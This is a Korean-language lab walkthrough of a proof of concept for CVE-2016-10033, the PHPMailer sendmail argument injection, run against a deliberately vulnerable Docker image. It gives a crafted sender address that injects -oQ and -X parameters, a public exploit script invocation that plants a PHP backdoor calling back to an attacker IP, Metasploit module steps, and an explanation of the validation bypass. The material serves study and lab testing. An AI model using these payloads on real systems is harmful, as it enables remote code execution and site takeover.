
CVE-2016-10033 (PHPMailer)에 대한 개념 증명
먼저 취약한 애플리케이션을 실행해 보겠습니다.
Command: docker pull vulnerables/cve-2016-10033


이제 웹 브라우저에서 localhost:8080으로 취약한 웹사이트에 접속할 수 있습니다.

이름 입력: OSEC (임의의 문자열 가능, 익스플로잇에 영향 없음)
조작된 발신자 이메일: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
이 조작된 발신자 이메일의 작동 방식은 공격 벡터의 설명 섹션에서 자세히 설명됩니다. 구체적인 매개변수로, 두 번째 매개변수 -oQ/tmp는 큐 디렉토리를 지정하고 세 번째 매개변수 -X/www/pwn.html은 기록될 로그 파일의 위치를 지정합니다.
큐 디렉토리가 지정되지 않으면 sendmail 프로세스가 기본 메일 큐 디렉토리인 (/var/spool/mqueue-client/)에 접근을 시도하는데, 이 디렉토리는 일반적인 보안 조치로 무단 접근 및 변조를 방지하기 위해 보호됩니다. 이 권한 문제를 피하려면 PHP 스크립트를 실행하는 사용자가 쓰기 권한을 가진 큐 디렉토리를 지정해야 합니다. 일반적으로 /tmp와 같은 디렉토리가 모든 사용자가 쓸 수 있기 때문에 사용됩니다.
이메일 본문에 PHP 코드가 포함되어 있고, 지정된 로그 파일이 웹 접근 가능 디렉토리에 배치되면, 공격자는 웹 브라우저를 통해 로그 파일에 접근하여 PHP 코드를 실행할 수 있으므로 원격 코드 실행이 발생합니다.
메시지 입력: 이는 공격자가 업로드할 수 있는 예제 HTML 파일일 뿐입니다. 물론 공격자는 다음 공격 방법에서 수행할 백도어와 같은 훨씬 더 나쁜 것을 업로드할 수 있습니다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

Command: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> 대상 URL을 지정합니다
-cf -> -url에 지정된 URL 내에서 연락처 양식의 위치를 지정합니다. (우리의 경우 -url과 정확히 동일하므로 슬래시만 포함했습니다.)
-ip -> 백도어가 다시 연결할 공격자의 IP를 지정합니다
-d -> 백도어 PHP 파일을 업로드할 상대 디렉토리를 지정합니다
--post-action -> 숨겨진 필드의 name 속성
--post-msg -> 메시지 입력 필드의 name 속성
참고: --post-action을 "submit"으로, --post-msg를 "message"로 지정해야 하는 이유는 우리가 사용 중인 취약한 애플리케이션의 name 속성이 Python 익스플로잇 스크립트에서 사용된 기본값과 다르기 때문입니다.
취약한 애플리케이션의 name 속성:

스크립트에 지정된 기본 name 속성:


위 이미지에서 프로그램이 http://127.0.0.1:8080//www/phpbackdoor9284.php에 접근하려고 시도하는 것을 볼 수 있는데, 이는 //www 때문에 분명히 잘못되었습니다. 이 취약한 웹사이트에서 /www는 웹사이트 루트이므로 http://127.0.0.1:8080은 이미 /www에 있기 때문에 http://127.0.0.1:8080/www로 이동할 수 없습니다.
또한 아래 이미지에서 phpbackdoor9284.php 파일이 디렉토리에 성공적으로 생성되었기 때문에 익스플로잇이 실제로 작동했음을 알 수 있습니다. 따라서 유일한 문제는 URL에서 //www를 제거하는 방법이었습니다.

Python 스크립트를 더 자세히 살펴본 결과, 백도어 PHP 파일의 URL을 지정하는 BACKDOOR_URL 변수를 찾을 수 있었습니다. 이 변수에서 우리가 지정한 대상 디렉토리(args.TARGET_UP_DIR)가 BACKDOOR_FILE 변수와 함께 연결되어 있음을 알 수 있습니다. 문제를 해결하려면 그 부분과 추가 슬래시를 제거해야 합니다.
Before:

After:


Commands:
msfconsole
search CVE-2016-10033
use 1

Commands:
set RHOSTS 192.168.79.1 (대상 IP 지정)
set RPORT 8080 (대상 포트 지정)
set TARGETURI /(웹 양식 URL 지정)
set WEB_ROOT /www (웹사이트 루트 위치 지정)

Command: exploit

POC를 마칩니다.
PHPMailer 클래스는 기본 전송 방식으로 PHP mail() 함수를 사용합니다. 전송은 mailSend() 함수를 사용하여 구현됩니다:

12번째 줄을 보면,

발신자 주소는 PHP mail() 함수 문서에 따라 -f와 연결되어 sendmail 바이너리에 -f 인수 뒤의 문자열이 발신자의 이메일 주소임을 알려줍니다.

mailSend() 함수의 마지막 줄에서,

PHP mail() 함수에 필요한 모든 인수가 전달되며, 여기에는 sendmail 바이너리에 추가 매개변수를 전달할 수 있는 5번째 매개변수 $params가 포함됩니다.
아래 그림은 mailSend() 함수가 전달하는 매개변수와 일치하는 mail() 함수가 받는 매개변수를 보여줍니다.

위에서 보듯이 $params 문자열은 Sender 변수로부터 구성됩니다. 이 Sender 문자열은 일반적으로 사용자가 웹 양식에 입력한 발신자 주소를 검증하는 setFrom() 메서드를 사용하여 설정됩니다.

validateAddress() 함수 검증으로 인해 PHPMailer는 예를 들어 attacker -InjectedParam2 @attacker.com과 같은 이메일을 거부하여 mail() 함수를 통해 Sendmail에 추가 매개변수를 주입하는 것을 방지합니다.
CVE 발견자의 추가 연구에 따르면 검증이 실제로 RFC 3696 사양을 사용하여 수행된다는 것을 알게 되었습니다.
RFC는 따옴표 "로 묶인 이메일에 공백을 허용합니다. 따라서 다음 이메일 주소는 setFrom() 메서드에서 허용됩니다:
"Attacker -Param2 -Param3"@test.com
그러면 이 주소가 mailSend() 함수로 전달되고, 그 다음 PHP mail() 함수로 전달되어 MTA(메일 전송 에이전트) 바이너리인 /usr/bin/sendmail을 다음 인수 목록과 함께 실행하게 됩니다:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t] (read recipients from headers)
Arg no. 2 == [-i] (ignore dots on lines)
Arg no. 3 == [-f”Attacker -Param2 -Param3”@test.com]
즉, 다음과 같습니다:

Param2와 Param3이 발신자 주소를 지정하는 동일한 인수 3번 안에 전달되므로 공격자에게는 작동하지 않습니다.
그러나 공격자는 추가 이스케이프를 통해 이를 벗어날 수 있습니다. 첫 번째 인수 뒤의 발신자 이메일에 추가 \" 시퀀스를 삽입하여
"Attacker \" -Param2 -Param3"@test.com
을 만들면, PHPMailer를 거쳐 최종적으로 mail() 함수로 전달될 때 sendmail 바이너리가 다음 인수 목록으로 실행됩니다:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]
즉, 다음과 같습니다:

따라서 이번에는 공격자가 추가 매개변수(이 경우 매개변수 4와 5)를 주입할 수 있게 됩니다.
이 취약점은 Dawid Golunski가 발견했습니다.
Docker 이미지는 opsxcq가 만들었습니다 - https://github.com/opsxcq
마지막으로, POC 작성을 도와준 사랑하는 그룹 멤버들:
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/